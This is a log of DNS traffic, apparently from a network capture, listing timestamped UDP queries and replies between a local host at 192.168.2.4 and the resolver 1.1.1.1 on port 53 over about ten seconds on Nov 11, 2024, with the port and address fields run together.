                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.797183037 CET6099553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.804920912 CET53609951.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.806906939 CET6170153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.807240963 CET5895153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.815682888 CET53532431.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.817356110 CET53589511.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.820055008 CET5147453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.820162058 CET5073553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.820480108 CET6171053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.820730925 CET6480253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.821187973 CET6333053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.821487904 CET6055953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.822032928 CET5847453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.822249889 CET5571553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.822993994 CET6263353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.826592922 CET6422853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.826857090 CET5657153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.826993942 CET6369353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.828088045 CET6311353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.828558922 CET5400353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.828892946 CET5894553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.829193115 CET5671053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.830528021 CET53507351.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.830992937 CET53514741.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.831260920 CET53617101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.831334114 CET5627453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.831517935 CET53648021.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.831523895 CET53584741.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.831545115 CET53557151.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.836064100 CET53540031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.836077929 CET53642281.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.838813066 CET53589451.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.838819027 CET53617011.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.839459896 CET53567101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.840811014 CET53562741.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.841114998 CET6091253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.843453884 CET5482253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.843614101 CET5802153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.843784094 CET5276353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.845566034 CET5303553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.846718073 CET53631131.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.847436905 CET6302853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.852787018 CET53633301.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.853451967 CET53605591.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.855252981 CET53530351.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.856178045 CET53527631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.857296944 CET53565711.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.858407974 CET53636931.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.872941971 CET53609121.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.875586987 CET53548221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.877947092 CET53630281.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.974334002 CET53516801.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:29.032761097 CET53580211.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:29.369740009 CET53626331.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.168488979 CET5117053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.168488979 CET6297853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.173305035 CET6401853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.177218914 CET5975853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.183922052 CET53640181.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.187154055 CET53597581.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.200691938 CET53629781.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.200731993 CET6531753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.201174021 CET53511701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.210377932 CET6052253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.211488008 CET6110553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.214339018 CET6358053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.216780901 CET5502353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.218128920 CET5605953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.218128920 CET5581953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.218916893 CET5007953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.219717979 CET5656453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.220468044 CET53605221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.221045017 CET5363153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.221745968 CET5645953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.222480059 CET53611051.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.223176956 CET6401353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.223963976 CET5091953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.224312067 CET53635801.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.226480961 CET5482053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.227214098 CET5842053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.227214098 CET5053353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.227708101 CET53558191.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.227726936 CET53550231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.227956057 CET5917753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.228574991 CET53560591.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.228590012 CET5694653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.228590012 CET5942853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.229264975 CET6151753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.229264975 CET5584153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.230123997 CET5524553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.230123997 CET6470453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.230283022 CET53565641.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.231483936 CET53564591.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.231551886 CET5112653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.231678963 CET5594953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.232106924 CET53536311.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.232116938 CET53653171.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.233078957 CET5006453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.235248089 CET53509191.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.236677885 CET53548201.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.236805916 CET53505331.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.239068985 CET53591771.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.239080906 CET53594281.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.239800930 CET53558411.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.240199089 CET53552451.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.241931915 CET53511261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.242285013 CET53559491.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.242805958 CET53500641.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.245136023 CET53647041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.251575947 CET53500791.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.258542061 CET53640131.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.258980989 CET53584201.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.259840012 CET53569461.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.260807037 CET53615171.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.273194075 CET5175653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.284998894 CET53517561.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.597212076 CET5205753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.607578039 CET53520571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.647521019 CET5338053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.655978918 CET53533801.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.686398029 CET6454153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.787611008 CET5399053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.798408031 CET53539901.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.822984934 CET4958153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.845411062 CET5046253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.849194050 CET6240653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.851188898 CET5149053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.851188898 CET6187453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.853867054 CET53495811.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.854947090 CET53504621.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.858845949 CET53624061.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.860559940 CET53514901.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.881979942 CET53618741.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.941015005 CET5965653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.941829920 CET5135653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942128897 CET6437753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942128897 CET5863153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942426920 CET5597253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942603111 CET5530653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.942603111 CET5789553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.949069977 CET5057053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.949963093 CET5932253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.950790882 CET6215053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.950790882 CET6075253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.952603102 CET53586311.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.955737114 CET53559721.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.959265947 CET53505701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.960100889 CET6503453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.960357904 CET53593221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.961255074 CET53621501.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.962409973 CET6026953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.962692976 CET5539753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.964653969 CET5964453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.971178055 CET53650341.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.972218037 CET53513561.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.973099947 CET53553971.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.973265886 CET53643771.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.973671913 CET53553061.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.981753111 CET53602691.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.983597994 CET53596441.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.001015902 CET53645411.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.108596087 CET6299153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.109196901 CET5391553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.109601974 CET5992553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.109828949 CET5991153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.110029936 CET6156653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.110188007 CET5378353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.110754013 CET5040153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.119051933 CET53629911.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.120040894 CET53537831.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.121160984 CET53599111.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.121812105 CET6044653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.121984959 CET5205653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.131545067 CET53604461.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.140419006 CET53599251.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.140948057 CET53596561.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.141215086 CET53539151.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.141899109 CET53615661.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.152024984 CET53520561.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.259658098 CET53504011.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.330799103 CET53578951.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.698514938 CET53607521.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:35.725176096 CET6277553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.060623884 CET53627751.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.339636087 CET6207653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.691282988 CET53620761.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.722115993 CET5139053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.724862099 CET5277153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.729496956 CET53513901.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.734834909 CET53527711.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.747575045 CET5258253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.750641108 CET6003553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.757185936 CET53525821.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.761574984 CET53600351.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.786820889 CET5861853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.788378954 CET6234053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.788659096 CET5655853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.792169094 CET5373753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.802298069 CET53537371.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.807132006 CET53565581.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.819103003 CET53623401.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.819200039 CET53586181.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.837869883 CET5399653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.856565952 CET5769953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.860091925 CET5664053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.863358021 CET5242353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.864665031 CET5894653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.866724014 CET53576991.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.868033886 CET6355553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.869286060 CET53539961.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.874327898 CET53589461.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.875715017 CET5241153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.878112078 CET53635551.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.886451006 CET53524111.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.891802073 CET53566401.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.894687891 CET53524231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.061448097 CET5779653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.063585043 CET5898753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.065840006 CET6410053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.066834927 CET4930853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.067807913 CET6535553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.068991899 CET6379353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.070573092 CET5137853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.071274042 CET53577961.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.075757027 CET53641001.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.077066898 CET53493081.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.077640057 CET53653551.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.080476999 CET4981553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.082221985 CET6469253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.082396984 CET5342653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.082470894 CET5759053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.082617998 CET5125653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.087171078 CET6004553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.091306925 CET53646921.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.091890097 CET53512561.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.092521906 CET53575901.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.094737053 CET53600451.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.095273018 CET53589871.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.096812963 CET6228553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.098493099 CET6233153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.098656893 CET4931053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.101126909 CET53637931.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.101799965 CET53513781.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.101815939 CET6313253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.102008104 CET6512253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.102601051 CET5025553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.102804899 CET4955653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.102818012 CET5726453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.103128910 CET5969153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.103331089 CET6204853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.106328964 CET53622851.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.107953072 CET53623311.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.108207941 CET5303953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.109205008 CET53493101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.110672951 CET53651221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.111394882 CET53631321.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.111555099 CET53502551.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.112607002 CET53620481.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.112838030 CET5313553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.113178015 CET53498151.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.113660097 CET53495561.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.113670111 CET53534261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.116219044 CET53596911.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.118551016 CET4938553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.119304895 CET53530391.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.119559050 CET5796253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.119785070 CET6538453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.119905949 CET5769153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120059013 CET6351553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120342016 CET5016653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120539904 CET6495253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120620012 CET5588353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120742083 CET6276153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.120930910 CET5441953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.121088028 CET5276253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.121654034 CET6280653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.121969938 CET5647053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.122157097 CET5378453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.122389078 CET5485053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.122993946 CET53531351.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.123079062 CET5122953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.123173952 CET5408853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.124979019 CET5608053192.168.2.41.1.1.1
